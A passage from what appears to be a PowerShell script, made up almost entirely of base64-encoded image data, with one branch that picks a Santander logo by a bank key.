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" } elseif ($bankKey -like "*santander*") { $logoData = "UklGRoZVAABXRUJQVlA4WAoAAAAgAAAAzwcArwIASUNDUMgBAAAAAAHIAAAAAAQwAABtbnRyUkdCIFhZWiAH4AABAAEAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAACRyWFlaAAABFAAAABRnWFlaAAABKAAAABRiWFlaAAABPAAAABR3dHB0AAABUAAAABRyVFJDAAABZAAAAChnVFJDAAABZAAAAChiVFJDAAABZAAAAChjcHJ0AAABjAAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAAgAAAAcAHMAUgBHAEJYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9YWVogAAAAAAAA9tYAAQAAAADTLXBhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABtbHVjAAAAAAAAAAEAAAAMZW5VUwAAACAAAAAcAEcAbwBvAGcAbABlACAASQBuAGMALgAgADIAMAAxADZWUDggmFMAAJAFAp0BKtAHsAI+USiNRqOioSEjcYBwCglnbvxir+mfHmDyie518UCD7t/iP2V/d3zMrM9S/sv+J/vH9v/6n+06qfY/61+Wv67/0v9d0eVheYH43+b/47+2f5n/c/4//////7sf5f/Yf4z+3/6f5Hfon/e/4z92foB/i/8q/x/98/yv/F/y//////0+/6f+8e4v/Df8L/sfsB8AP6l/Wv9t/kP3p+ZT+/f7j+2e5X/Ef5D/j/7r/KfIB/S/7F/ufzu+Mf2H/3b9gP+Yf3b/sfnv8W//m/03+v////m+0T9qf+//pf38/632N/zv+5/9b9uP///zPoA/8fqAf971APV36c/3/+w/tV8Avjv59/kv63/l/2I95/M/5D9eOSx6V/d+Zv8a+4v8b+++2f+Z7yfyj+G9AX8W/on+Y/NP/F/Fi830u/7fqBe9P03/ff3D/Lftd8dv0//S/t/qT9nv+x7gH66/8T+7+5Xep/jv+T7AP8+/qv/e/xn+J+Gn+q/93+S/2Xpr/P/9B/6v8R/sfkQ/mn90/73+K9qn//+379wv//7pH6+f///lBHjmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxDmxD